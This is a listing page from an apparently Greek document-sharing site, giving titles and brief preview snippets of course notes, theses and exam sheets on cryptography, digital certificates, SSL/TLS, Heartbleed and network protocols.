6.2 Υπηρεσίες Διαδικτύου 6.2 Υπηρεσίες Διαδικτύου 1 / 34 Όλες οι υπηρεσίες στο Διαδίκτυο, όπως και πολλές εφαρμογές λογισμικού, στηρίζονται στο μοντέλο Πελάτη Εξυπηρετητή. 2 / 34 Σύμφωνα με αυτό το μοντέλο ο Εξυπηρετητής οργανώνει,

Διαβάστε περισσότερα

Διαχείριση Ασφάλειας και Εμπιστοσύνης σε Πολιτισμικά Περιβάλλοντα

Διαχείριση Ασφάλειας και Εμπιστοσύνης σε Πολιτισμικά Περιβάλλοντα Διαχείριση Ασφάλειας και Εμπιστοσύνης σε Πολιτισμικά Περιβάλλοντα Ενότητα 6: ΑΣΦΑΛΕΙΑ ΚΑΙ ΕΜΠΙΣΤΟΣΥΝΗ ΣΤΟ ΔΙΑΔΙΚΤΥΟ, ΨΗΦΙΑΚΑ ΠΙΣΤΟΠΟΙΗΤΙΚΑ-ΨΗΦΙΑΚΕΣ ΥΠΟΓΡΑΦΕΣ Δημήτριος Κουκόπουλος Σχολή Οργάνωσης και Διοίκησης

Διαβάστε περισσότερα

Κεφάλαιο 2. Κρυπτογραφικά εργαλεία

Κεφάλαιο 2. Κρυπτογραφικά εργαλεία Κεφάλαιο 2 Κρυπτογραφικά εργαλεία Συμμετρική κρυπτογράφηση Καθολικά αποδεκτή τεχνική που χρησιμοποιείται για τη διαφύλαξη της εμπιστευτικότητας δεδομένων τα οποία μεταδίδονται ή αποθηκεύονται Γνωστή και

Διαβάστε περισσότερα

Κρυπτογραφία. Κεφάλαιο 4 Αλγόριθμοι Δημοσίου Κλειδιού (ή ασύμμετροι αλγόριθμοι)

Κρυπτογραφία. Κεφάλαιο 4 Αλγόριθμοι Δημοσίου Κλειδιού (ή ασύμμετροι αλγόριθμοι) Κρυπτογραφία Κεφάλαιο 4 Αλγόριθμοι Δημοσίου Κλειδιού (ή ασύμμετροι αλγόριθμοι) Κρυπτοσυστήματα Δημοσίου κλειδιού Αποστολέας P Encryption C Decryption P Παραλήπτης Προτάθηκαν το 1976 Κάθε συμμετέχων στο

Διαβάστε περισσότερα

ΕΠΑΝΑΛΗΠΤΙΚΟ ΤΕΣΤ ΣΤΗΝ ΕΝΟΤΗΤΑ

ΕΠΑΝΑΛΗΠΤΙΚΟ ΤΕΣΤ ΣΤΗΝ ΕΝΟΤΗΤΑ ΕΠΑ.Λ. Άμφισσας Σχολικό Έτος : 2011-2012 Τάξη : Γ Τομέας : Πληροφορικής Μάθημα : ΔΙΚΤΥΑ ΥΠΟΛΟΓΙΣΤΩΝ ΙΙ Διδάσκων : Χρήστος Ρέτσας Η-τάξη : tiny.cc/retsas-diktya2 ΕΠΑΝΑΛΗΠΤΙΚΟ ΤΕΣΤ ΣΤΗΝ ΕΝΟΤΗΤΑ 8.3.1-8.3.3

Διαβάστε περισσότερα

Σχεδιασμός Εικονικών Δικτύων Ενότητα 6: Εικονικά Ιδιωτικά Δίκτυα Επιπέδου Μεταφοράς - Secure Sockets Layer (SSL) / Transport Layer Security (TLS)

Σχεδιασμός Εικονικών Δικτύων Ενότητα 6: Εικονικά Ιδιωτικά Δίκτυα Επιπέδου Μεταφοράς - Secure Sockets Layer (SSL) / Transport Layer Security (TLS) Σχεδιασμός Εικονικών Δικτύων Ενότητα 6: Εικονικά Ιδιωτικά Δίκτυα Επιπέδου Μεταφοράς - Secure Sockets Layer (SSL) / Transport Layer Security (TLS) Νικολάου Σπύρος Τμήμα Μηχανικών Πληροφορικής ΤΕ Άδειες

Διαβάστε περισσότερα

Ασφάλεια Πληροφοριακών Συστημάτων

Ασφάλεια Πληροφοριακών Συστημάτων Ανοικτά Ακαδημαϊκά Μαθήματα στο ΤΕΙ Ιονίων Νήσων Ασφάλεια Πληροφοριακών Συστημάτων Ενότητα 6: Κρυπτογραφία Ι Το περιεχόμενο του μαθήματος διατίθεται με άδεια Creative Commons εκτός και αν αναφέρεται διαφορετικά

Διαβάστε περισσότερα

Βασικές Έννοιες Κρυπτογραφίας

Βασικές Έννοιες Κρυπτογραφίας Βασικές Έννοιες Κρυπτογραφίας Παύλος Εφραιμίδης Κρυπτογραφία Βασικές Έννοιες 1 Τι θα μάθουμε Obscurity vs. Security Βασικές υπηρεσίες κρυπτογραφίας: Confidentiality, Authentication, Integrity, Non- Repudiation

Διαβάστε περισσότερα

ΑΣΥΜΜΕΤΡΗ ΚΡΥΠΤΟΓΡΑΦΙΑ Lab 3

ΑΣΥΜΜΕΤΡΗ ΚΡΥΠΤΟΓΡΑΦΙΑ Lab 3 ΑΣΥΜΜΕΤΡΗ ΚΡΥΠΤΟΓΡΑΦΙΑ Lab 3 Η Aσύμμετρη Kρυπτογραφία ή Κρυπτογραφία Δημοσίου Κλειδιού χρησιμοποιεί δύο διαφορετικά κλειδιά για την κρυπτογράφηση και αποκρυπτογράφηση. Eπινοήθηκε στο τέλος της δεκαετίας

Διαβάστε περισσότερα

Χρήστος Ξενάκης Τμήμα Ψηφιακών Συστημάτων

Χρήστος Ξενάκης Τμήμα Ψηφιακών Συστημάτων Ασφάλεια στο Internet: Πρωτόκολλα Ασφάλειας Επιπέδου Μεταφοράς Χρήστος Ξενάκης Τμήμα Ψηφιακών Συστημάτων Πανεπιστήμιο Πειραιά Το μοντέλο του Internet t 2/31 Σχέσεις πρωτοκόλλων ασφαλείας και TCP/IP στοίβας

Διαβάστε περισσότερα

Κρυπτογραφία. Κωνσταντίνου Ελισάβετ

Κρυπτογραφία. Κωνσταντίνου Ελισάβετ Κρυπτογραφία Κωνσταντίνου Ελισάβετ ekonstantinou@aegean.gr http://www.icsd.aegean.gr/ekonstantinou Συμμετρικά Κρυπτοσυστήματα κλειδί k Αρχικό κείμενο (m) Αλγόριθμος Κρυπτογράφησης Ε c = E k (m) Κρυπτογραφημένο

Διαβάστε περισσότερα

Πληροφορική Ι. Μάθημα 10 ο Ασφάλεια. Τμήμα Χρηματοοικονομικής & Ελεγκτικής ΤΕΙ Ηπείρου Παράρτημα Πρέβεζας. Δρ. Γκόγκος Χρήστος

Πληροφορική Ι. Μάθημα 10 ο Ασφάλεια. Τμήμα Χρηματοοικονομικής & Ελεγκτικής ΤΕΙ Ηπείρου Παράρτημα Πρέβεζας. Δρ. Γκόγκος Χρήστος Οι διαφάνειες έχουν βασιστεί στο βιβλίο «Εισαγωγή στην επιστήμη των υπολογιστών» του B. Forouzanκαι Firoyz Mosharraf(2 η έκδοση-2010) Εκδόσεις Κλειδάριθμος Τμήμα Χρηματοοικονομικής & Ελεγκτικής ΤΕΙ Ηπείρου

Διαβάστε περισσότερα

ΤΕΙ Κρήτης Τμήμα Μηχανικών Πληροφορικής. Συμμετρική Κρυπτογραφία

ΤΕΙ Κρήτης Τμήμα Μηχανικών Πληροφορικής. Συμμετρική Κρυπτογραφία ΤΕΙ Κρήτης Τμήμα Μηχανικών Πληροφορικής Συμμετρική Κρυπτογραφία Εισαγωγή Στην συνηθισμένη κρυπτογραφία, ο αποστολέας και ο παραλήπτης ενός μηνύματος γνωρίζουν και χρησιμοποιούν το ίδιο μυστικό κλειδί.

Διαβάστε περισσότερα

Πρωτόκολλα Επικοινωνίας και Τείχος Προστασίας

Πρωτόκολλα Επικοινωνίας και Τείχος Προστασίας Β5.1.2 Πρωτόκολλα Επικοινωνίας και Τείχος Προστασίας Τι θα μάθουμε σήμερα: Να ορίζουμε τι είναι πρωτόκολλο επικοινωνίας Να εξηγούμε τη χρησιμότητα των πρωτοκόλλων επικοινωνίας Να ονομάζουμε τα σημαντικότερα

Διαβάστε περισσότερα

9 - Ασφάλεια Ηλεκτρονικών Συναλλαγών ΕΘΝΙΚΗ ΣΧΟΛΗ ΔΗΜΟΣΙΑΣ ΔΙΟΙΚΗΣΗΣ & ΑΥΤΟΔΙΟΙΚΗΣΗΣ

9 - Ασφάλεια Ηλεκτρονικών Συναλλαγών ΕΘΝΙΚΗ ΣΧΟΛΗ ΔΗΜΟΣΙΑΣ ΔΙΟΙΚΗΣΗΣ & ΑΥΤΟΔΙΟΙΚΗΣΗΣ 9 - Ασφάλεια Ηλεκτρονικών Συναλλαγών ΕΘΝΙΚΗ ΣΧΟΛΗ ΔΗΜΟΣΙΑΣ ΔΙΟΙΚΗΣΗΣ & ΑΥΤΟΔΙΟΙΚΗΣΗΣ Ενότητες Πυλώνες εμπιστοσύνης ηλεκτρονικών συναλλαγών Κρυπτογράφηση Δημόσιο και ιδιωτικό κλειδί Ψηφιακή υπογραφή Ψηφιακά

Διαβάστε περισσότερα

CVE the SSL Heartbleed bug. SSL Renegotiation Attack

CVE the SSL Heartbleed bug. SSL Renegotiation Attack CVE-2014-0160 the SSL Heartbleed bug SSL Renegotiation Attack CVE-2014-0160 the SSL Heartbleed bug Ευπαθείς εκδόσεις του OpenSSL δεν επιβεβαιώνουν SSL μηνύματα για το μέγεθος της μνήμης Bug στο OpenSSL

Διαβάστε περισσότερα

Ασφάλεια Υπολογιστικών Συστημάτων

Ασφάλεια Υπολογιστικών Συστημάτων Ασφάλεια Υπολογιστικών Συστημάτων Ενότητα 3: Ψηφιακά πιστοποιητικά Νικολάου Σπύρος Τμήμα Μηχανικών Πληροφορικής ΤΕ Άδειες Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης Creative Commons.

Διαβάστε περισσότερα

Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων. Συναρτήσεις Κατακερματισμού

Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων. Συναρτήσεις Κατακερματισμού ΤΕΙ ΚΡΗΤΗΣ ΤΜΉΜΑ ΜΗΧΑΝΙΚΏΝ ΠΛΗΡΟΦΟΡΙΚΉΣ Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων Συναρτήσεις Κατακερματισμού Ο όρος συνάρτηση κατακερματισμού (hash function) υποδηλώνει ένα μετασχηματισμό που παίρνει

Διαβάστε περισσότερα

ΠΑΝΕΠΙΣΤΗΜΙΟ ΜΑΚΕΔΟΝΙΑΣ ΠΡΟΓΡΑΜΜΑ ΜΕΤΑΠΤΥΧΙΑΚΩΝ ΣΠΟΥΔΩΝ ΤΜΗΜΑΤΟΣ ΕΦΑΡΜΟΣΜΕΝΗΣ ΠΛΗΡΟΦΟΡΙΚΗΣ

ΠΑΝΕΠΙΣΤΗΜΙΟ ΜΑΚΕΔΟΝΙΑΣ ΠΡΟΓΡΑΜΜΑ ΜΕΤΑΠΤΥΧΙΑΚΩΝ ΣΠΟΥΔΩΝ ΤΜΗΜΑΤΟΣ ΕΦΑΡΜΟΣΜΕΝΗΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΠΑΝΕΠΙΣΤΗΜΙΟ ΜΑΚΕΔΟΝΙΑΣ ΠΡΟΓΡΑΜΜΑ ΜΕΤΑΠΤΥΧΙΑΚΩΝ ΣΠΟΥΔΩΝ ΤΜΗΜΑΤΟΣ ΕΦΑΡΜΟΣΜΕΝΗΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΖΗΤΗΜΑΤΑ ΑΣΦΑΛΕΙΑΣ ΣΥΣΤΗΜΑΤΩΝ ΛΟΓΙΣΜΙΚΟΥ ΑΝΟΙΚΤΟΥ ΚΩΔΙΚΑ - ΕΦΑΡΜΟΓΗ ΤΟΥ OPENSSL Διπλωματική Εργασία του Νικόπουλου

Διαβάστε περισσότερα

Threshold Cryptography Algorithms. Εργασία στα πλαίσια του μαθήματος Τεχνολογίες Υπολογιστικού Νέφους

Threshold Cryptography Algorithms. Εργασία στα πλαίσια του μαθήματος Τεχνολογίες Υπολογιστικού Νέφους Threshold Cryptography Algorithms Εργασία στα πλαίσια του μαθήματος Τεχνολογίες Υπολογιστικού Νέφους Ορισμός Το σύστημα το οποίο τεμαχίζει ένα κλειδί k σε n τεμάχια έτσι ώστε οποιοσδήποτε συνδυασμός πλήθους

Διαβάστε περισσότερα

Πρότυπο Αναφοράς Open Systems Interconnection (OSI) Επικοινωνίες Δεδομένων Μάθημα 5 ο

Πρότυπο Αναφοράς Open Systems Interconnection (OSI) Επικοινωνίες Δεδομένων Μάθημα 5 ο Πρότυπο Αναφοράς Open Systems Interconnection (OSI) Επικοινωνίες Δεδομένων Μάθημα 5 ο Πρωτόκολλα και Αρχιτεκτονική Δικτύου Για να ανταλλάξουν δεδομένα δύο σταθμοί, εκτός από την ύπαρξη διαδρομής μεταξύ

Διαβάστε περισσότερα

Ασφάλεια Πληροφοριακών Συστημάτων

Ασφάλεια Πληροφοριακών Συστημάτων Ανοικτά Ακαδημαϊκά Μαθήματα στο ΤΕΙ Ιονίων Νήσων Ασφάλεια Πληροφοριακών Συστημάτων Ενότητα 5: Διαχείριση κλειδιών Το περιεχόμενο του μαθήματος διατίθεται με άδεια Creative Commons εκτός και αν αναφέρεται

Διαβάστε περισσότερα

ΚΕΦΑΛΑΙΟ 1.7. Πρωτόκολλα και Αρχιτεκτονική Δικτύου

ΚΕΦΑΛΑΙΟ 1.7. Πρωτόκολλα και Αρχιτεκτονική Δικτύου ΚΕΦΑΛΑΙΟ 1.7 Πρωτόκολλα και Αρχιτεκτονική Δικτύου Επικοινωνία δύο σταθμών Ύπαρξη διαδρομής Αποκατάσταση σύνδεσης Ο σταθμός-πηγή πρέπει να ξέρει πότε ο σταθμός-προορισμός είναι έτοιμος να λάβει δεδομένα.

Διαβάστε περισσότερα

Συμμετρικά κρυπτοσυστήματα

Συμμετρικά κρυπτοσυστήματα Υπολογιστική Θεωρία Αριθμών και Κρυπτογραφία Συμμετρικά κρυπτοσυστήματα Άρης Παγουρτζής Στάθης Ζάχος Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχανικών - Μηχανικών Υπολογιστών Δίκτυα Feistel Σημαντικές

Διαβάστε περισσότερα

Ασφάλεια Πληροφοριακών Συστηµάτων

Ασφάλεια Πληροφοριακών Συστηµάτων Ασφάλεια Πληροφοριακών Συστηµάτων Κρυπτογραφία/Ψηφιακές Υπογραφές Διάλεξη 3η Δρ. A. Στεφανή Τµ. Διοίκησης Επιχειρήσεων, ΤΕΙ Δυτ. Ελλάδας Ψηφιακές Υπογραφές- Βασικές Αρχές Η Ψηφιακή Υπογραφή είναι ένα µαθηµατικό

Διαβάστε περισσότερα

Εισαγωγή στην Κρυπτογραφία και τις Ψηφιακές Υπογραφές

Εισαγωγή στην Κρυπτογραφία και τις Ψηφιακές Υπογραφές Εισαγωγή στην Κρυπτογραφία και τις Ψηφιακές Υπογραφές Βαγγέλης Φλώρος, BSc, MSc Τµήµα Πληροφορικής και Τηλεπικοινωνιών Εθνικό και Καποδιστριακό Πανεπιστήµιο Αθηνών Εν αρχή είναι... Η Πληροφορία - Αρχείο

Διαβάστε περισσότερα

ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ Πρόγραμμα Μεταπτυχιακών Σπουδών (Π.Μ.Σ.) Ασφάλεια Δικτύων. Δρ. Κωνσταντίνος Παπαπαναγιώτου

ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ Πρόγραμμα Μεταπτυχιακών Σπουδών (Π.Μ.Σ.) Ασφάλεια Δικτύων. Δρ. Κωνσταντίνος Παπαπαναγιώτου ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ Πρόγραμμα Μεταπτυχιακών Σπουδών (Π.Μ.Σ.) Ασφάλεια Δικτύων Δρ. Κωνσταντίνος Παπαπαναγιώτου conpap@di.uoa.gr Κλάσεις Υπηρεσιών Ασφάλειας κατά OSI Αυθεντικοποίηση Έλεγχος

Διαβάστε περισσότερα

Κρυπτογραφία. Εργαστηριακό μάθημα 1

Κρυπτογραφία. Εργαστηριακό μάθημα 1 Κρυπτογραφία Εργαστηριακό μάθημα 1 Βασικοί όροι Με τον όρο κρυπτογραφία εννοούμε τη μελέτη μαθηματικών τεχνικών που στοχεύουν στην εξασφάλιση θεμάτων που άπτονται της ασφάλειας μετάδοσης της πληροφορίας,

Διαβάστε περισσότερα

ΔΙΚΤΥΑ ΔΗΜΟΣΙΑΣ ΧΡΗΣΗΣ ΚΑΙ ΔΙΑΣΥΝΔΕΣΗ ΔΙΚΤΥΩΝ Ενότητα #11: Ασφάλεια δικτύων

ΔΙΚΤΥΑ ΔΗΜΟΣΙΑΣ ΧΡΗΣΗΣ ΚΑΙ ΔΙΑΣΥΝΔΕΣΗ ΔΙΚΤΥΩΝ Ενότητα #11: Ασφάλεια δικτύων ΔΙΚΤΥΑ ΔΗΜΟΣΙΑΣ ΧΡΗΣΗΣ ΚΑΙ ΔΙΑΣΥΝΔΕΣΗ ΔΙΚΤΥΩΝ Ενότητα #11: Καθηγητής Χρήστος Ι. Μπούρας Τμήμα Μηχανικών Η/Υ & Πληροφορικής, Πανεπιστήμιο Πατρών email: bouras@cti.gr, site: http://ru6.cti.gr/ru6/bouras

Διαβάστε περισσότερα

ΨΗΦΙΑΚΑ ΠΙΣΤΟΠΟΙΗΤΙΚΑ ΓΙΑ ΑΣΦΑΛΗ ΚΑΙ ΠΙΣΤΟΠΟΙΗΜΕΝΗ ΕΠΙΚΟΙΝΩΝΙΑ ΜΕ ΤΗΝ ΤΡΑΠΕΖΑ ΤΗΣ ΕΛΛΑΔΟΣ. Οδηγίες προς τις Συνεργαζόμενες Τράπεζες

ΨΗΦΙΑΚΑ ΠΙΣΤΟΠΟΙΗΤΙΚΑ ΓΙΑ ΑΣΦΑΛΗ ΚΑΙ ΠΙΣΤΟΠΟΙΗΜΕΝΗ ΕΠΙΚΟΙΝΩΝΙΑ ΜΕ ΤΗΝ ΤΡΑΠΕΖΑ ΤΗΣ ΕΛΛΑΔΟΣ. Οδηγίες προς τις Συνεργαζόμενες Τράπεζες ΨΗΦΙΑΚΑ ΠΙΣΤΟΠΟΙΗΤΙΚΑ ΓΙΑ ΑΣΦΑΛΗ ΚΑΙ ΠΙΣΤΟΠΟΙΗΜΕΝΗ ΕΠΙΚΟΙΝΩΝΙΑ ΜΕ ΤΗΝ ΤΡΑΠΕΖΑ ΤΗΣ ΕΛΛΑΔΟΣ Οδηγίες προς τις Συνεργαζόμενες Τράπεζες 1. Εισαγωγή Γνωριμία με τα Ψηφιακά Πιστοποιητικά Η χρήση ηλεκτρονικών

Διαβάστε περισσότερα

Τι είναι ένα δίκτυο υπολογιστών; Αρχιτεκτονική επιπέδων πρωτοκόλλων. Δικτυακά πρωτόκολλα

Τι είναι ένα δίκτυο υπολογιστών; Αρχιτεκτονική επιπέδων πρωτοκόλλων. Δικτυακά πρωτόκολλα Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2014-15 Δίκτυα υπολογιστών (και το Διαδίκτυο) http://di.ionio.gr/~mistral/tp/csintro/ Μ.Στεφανιδάκης Τι είναι ένα δίκτυο υπολογιστών;

Διαβάστε περισσότερα

Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2014-15. Δίκτυα υπολογιστών. (και το Διαδίκτυο)

Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2014-15. Δίκτυα υπολογιστών. (και το Διαδίκτυο) Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2014-15 Δίκτυα υπολογιστών (και το Διαδίκτυο) http://di.ionio.gr/~mistral/tp/csintro/ Μ.Στεφανιδάκης Τι είναι ένα δίκτυο υπολογιστών;

Διαβάστε περισσότερα

Περιεχόµενα. Ασφάλεια σε επίπεδο µεταφοράς και εφαρµογών SSL / TLS SSH. Ασφάλεια ικτύων, Τµήµα Πληροφορικής, Ο.Π.Α., ρ. Ι.

Περιεχόµενα. Ασφάλεια σε επίπεδο µεταφοράς και εφαρµογών SSL / TLS SSH. Ασφάλεια ικτύων, Τµήµα Πληροφορικής, Ο.Π.Α., ρ. Ι. 1 Περιεχόµενα Ασφάλεια σε επίπεδο µεταφοράς και εφαρµογών SSL / TLS SSH Ασφάλεια ικτύων, Τµήµα Πληροφορικής, Ο.Π.Α., ρ. Ι. Μαριάς 4-2 Secure Socket Layer - SSL Ασφάλεια ικτύων, Τµήµα Πληροφορικής, Ο.Π.Α.,

Διαβάστε περισσότερα

Ηλεκτρονικό εμπόριο. HE 6 Ασφάλεια

Ηλεκτρονικό εμπόριο. HE 6 Ασφάλεια Ηλεκτρονικό εμπόριο HE 6 Ασφάλεια Ηλεκτρονικό εμπόριο και ασφάλεια Δισταγμός χρηστών στην χρήση του ηλεκτρονικού εμπορίου Αναζήτηση ασφαλούς περιβάλλοντος ηλεκτρονικού εμπορίου Ζητούμενο είναι η ασφάλεια

Διαβάστε περισσότερα

Παράρτημα Α Περισσότερα για την Ασφάλεια στο Διαδίκτυο

Παράρτημα Α Περισσότερα για την Ασφάλεια στο Διαδίκτυο Παράρτημα Α Περισσότερα για την Ασφάλεια στο Διαδίκτυο A.1 Κρυπτογράφηση Δημόσιου Κλειδιού Όπως αναφέρθηκε στην παράγραφο 2.3.2, η πιο διαδεδομένη μέθοδος κρυπτογραφίας στο Διαδίκτυο είναι η κρυπτογράφηση

Διαβάστε περισσότερα

Β. Μάγκλαρης 30/11/2015

Β. Μάγκλαρης  30/11/2015 ΔΙΑΧΕΙΡΙΣΗ ΔΙΚΤΥΩΝ Διαχείριση Ασφαλείας (Ι) Απειλές Ασφαλείας Δημόσια & Ιδιωτικά Κλειδιά Μεικτά Συστήματα SSL/TLS Έλεγχος Πρόσβασης Χρήστη, Single Sign-On (SSO) Authentication & Authorization Infrastrucures

Διαβάστε περισσότερα

Ασφάλεια Τηλεπικοινωνιακών Συστημάτων ΣΤΑΥΡΟΣ Ν ΝΙΚΟΛΟΠΟΥΛΟΣ 03 ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΚΡΥΠΤΟΛΟΓΙΑ

Ασφάλεια Τηλεπικοινωνιακών Συστημάτων ΣΤΑΥΡΟΣ Ν ΝΙΚΟΛΟΠΟΥΛΟΣ 03 ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΚΡΥΠΤΟΛΟΓΙΑ Ασφάλεια Τηλεπικοινωνιακών Συστημάτων ΣΤΑΥΡΟΣ Ν ΝΙΚΟΛΟΠΟΥΛΟΣ 03 ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΚΡΥΠΤΟΛΟΓΙΑ Περιγραφή μαθήματος Η Κρυπτολογία είναι κλάδος των Μαθηματικών, που ασχολείται με: Ανάλυση Λογικών Μαθηματικών

Διαβάστε περισσότερα

Πρωτόκολλα Διαδικτύου

Πρωτόκολλα Διαδικτύου Πρωτόκολλα Διαδικτύου Μέρος 1ο Επικοινωνίες Δεδομένων Μάθημα 3 ο Εισαγωγή στην Τεχνολογία TCP/IP To TCP/IP σημαίνει Transmission Control Protocol / Internet Protocol και θα μπορούσε να θεωρηθεί ότι πρόκειται

Διαβάστε περισσότερα

7.5 Πρωτόκολλο IP. Τεχνολογία ικτύων Επικοινωνιών ΙΙ

7.5 Πρωτόκολλο IP. Τεχνολογία ικτύων Επικοινωνιών ΙΙ Τεχνολογία ικτύων Επικοινωνιών ΙΙ 7.5 Πρωτόκολλο IP 38. Τι είναι το πρωτόκολλο ιαδικτύου (Internet Protocol, IP); Είναι το βασικό πρωτόκολλο του επιπέδου δικτύου της τεχνολογίας TCP/IP. Βασίζεται στα αυτοδύναµα

Διαβάστε περισσότερα

ΥΠΟΓΡΑΦΗ. Ηλεκτρονική επικοινωνία. Κρυπτογραφία και ψηφιακές υπογραφές ΚΡΥΠΤΟΓΡΑΦΙΑ & ΨΗΦΙΑΚΕΣ ΥΠΟΓΡΑΦΕΣ

ΥΠΟΓΡΑΦΗ. Ηλεκτρονική επικοινωνία. Κρυπτογραφία και ψηφιακές υπογραφές ΚΡΥΠΤΟΓΡΑΦΙΑ & ΨΗΦΙΑΚΕΣ ΥΠΟΓΡΑΦΕΣ ΕΘΝΙΚΟ ΚΑΙ ΚΑΠΟΔΙΣΤΡΙΑΚΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΑΘΗΝΩΝ ΚΡΥΠΤΟΓΡΑΦΙΑ & Γιώργος Ν.Γιαννόπουλος Λέκτορας στο Πανεπιστήμιο Αθηνών gyannop@law.uoa.gr 1 ΥΠΟΓΡΑΦΗ ΑΚ 160 και ΚΠολΔ 443 α Το έγγραφο πρέπει να έχει ιδιόχειρη

Διαβάστε περισσότερα

Κρυπτογραφία. Κρυπτοσυστήματα τμήματος (Block ciphers) Άρης Παγουρτζής Στάθης Ζάχος Πέτρος Ποτίκας

Κρυπτογραφία. Κρυπτοσυστήματα τμήματος (Block ciphers) Άρης Παγουρτζής Στάθης Ζάχος Πέτρος Ποτίκας Κρυπτογραφία Κρυπτοσυστήματα τμήματος (Block ciphers) Άρης Παγουρτζής Στάθης Ζάχος Πέτρος Ποτίκας Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Block ciphers και ψευδοτυχαίες

Διαβάστε περισσότερα

Τεχνολογικό Εκπαιδευτικό Ίδρυμα Ηπείρου Τμήμα Τηλεπληροφορικής & Διοίκησης

Τεχνολογικό Εκπαιδευτικό Ίδρυμα Ηπείρου Τμήμα Τηλεπληροφορικής & Διοίκησης Τεχνολογικό Εκπαιδευτικό Ίδρυμα Ηπείρου Τμήμα Τηλεπληροφορικής & Διοίκησης Κατάλογος Περιεχομένων ΕΙΣΑΓΩΓΉ ΣΤΟ CRYPTOOL... 3 DOWNLOADING CRYPTOOL... 3 ΜΗΧΑΝΙΣΜΟΊ ΚΑΙ ΑΛΓΌΡΙΘΜΟΙ ΚΡΥΠΤΟΓΡΑΦΊΑΣ ΣΤΟ CRYPTOOL...

Διαβάστε περισσότερα

Οδηγίες αξιοποίησης για τον Εκπαιδευτικό

Οδηγίες αξιοποίησης για τον Εκπαιδευτικό Ανάδοχοι Φορέας Υλοποίησης Έργο ΛΑΕΡΤΗΣ Λογισμικό Δικτύων Οδηγίες αξιοποίησης για τον Εκπαιδευτικό Ερευνητικό Ακαδημαϊκό Ινστιτούτο Τεχνολογίας Υπολογιστών Ανάδοχος φορέας: CONCEPTUM A.E. 1 Προσομοίωση

Διαβάστε περισσότερα

Ασφάλεια Υπολογιστικών Συστημάτων

Ασφάλεια Υπολογιστικών Συστημάτων Ασφάλεια Υπολογιστικών Συστημάτων Ενότητα 1: Εισαγωγή Νικολάου Σπύρος Τμήμα Μηχανικών Πληροφορικής ΤΕ Άδειες Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης Creative Commons. Για εκπαιδευτικό

Διαβάστε περισσότερα

ΑΣΦΑΛΕΙΑ ΔΙΑΔΙΚΤΥΑΚΗΣ ΔΙΑΚΙΝΗΣΗΣ ΠΛΗΡΟΦΟΡΙΑΣ

ΑΣΦΑΛΕΙΑ ΔΙΑΔΙΚΤΥΑΚΗΣ ΔΙΑΚΙΝΗΣΗΣ ΠΛΗΡΟΦΟΡΙΑΣ Τ.Ε.Ι ΗΠΕΙΡΟΥ ΤΜΗΜΑ ΤΗΛΕΠΛΗΡΟΦΟΡΙΚΗΣ & ΔΙΟΙΚΗΣΗΣ ΠΤΥΧΙΑΚΗ ΕΡΓΑΣΙΑ Σπουδαστές : Κοσμά Παρασκευή Α.Μ 3397 Καραγιάννη Αιμιλία Α.Μ 3416 Με θέμα: ΑΣΦΑΛΕΙΑ ΔΙΑΔΙΚΤΥΑΚΗΣ ΔΙΑΚΙΝΗΣΗΣ ΠΛΗΡΟΦΟΡΙΑΣ Άρτα Νοέμβριος

Διαβάστε περισσότερα

ΠΡΟΤΕΙΝΟΜΕΝΑ ΘΕΜΑΤΑ ΣΤΑ ΔΙΚΤΥΑ ΥΠΟΛΟΓΙΣΤΩΝ ΙΙ Γ Τάξη Ε.Π.Α.Λ.

ΠΡΟΤΕΙΝΟΜΕΝΑ ΘΕΜΑΤΑ ΣΤΑ ΔΙΚΤΥΑ ΥΠΟΛΟΓΙΣΤΩΝ ΙΙ Γ Τάξη Ε.Π.Α.Λ. ΠΡΟΤΕΙΝΟΜΕΝΑ ΘΕΜΑΤΑ ΣΤΑ ΔΙΚΤΥΑ ΥΠΟΛΟΓΙΣΤΩΝ ΙΙ 2016 Γ Τάξη Ε.Π.Α.Λ. ΘΕΜΑ Α Α1. Να γράψετε στο τετράδιό σας τον αριθµό καθεµιάς από τις παρακάτω προτάσεις και δίπλα το γράµµα Σ, αν είναι σωστή, ή το γράµµα

Διαβάστε περισσότερα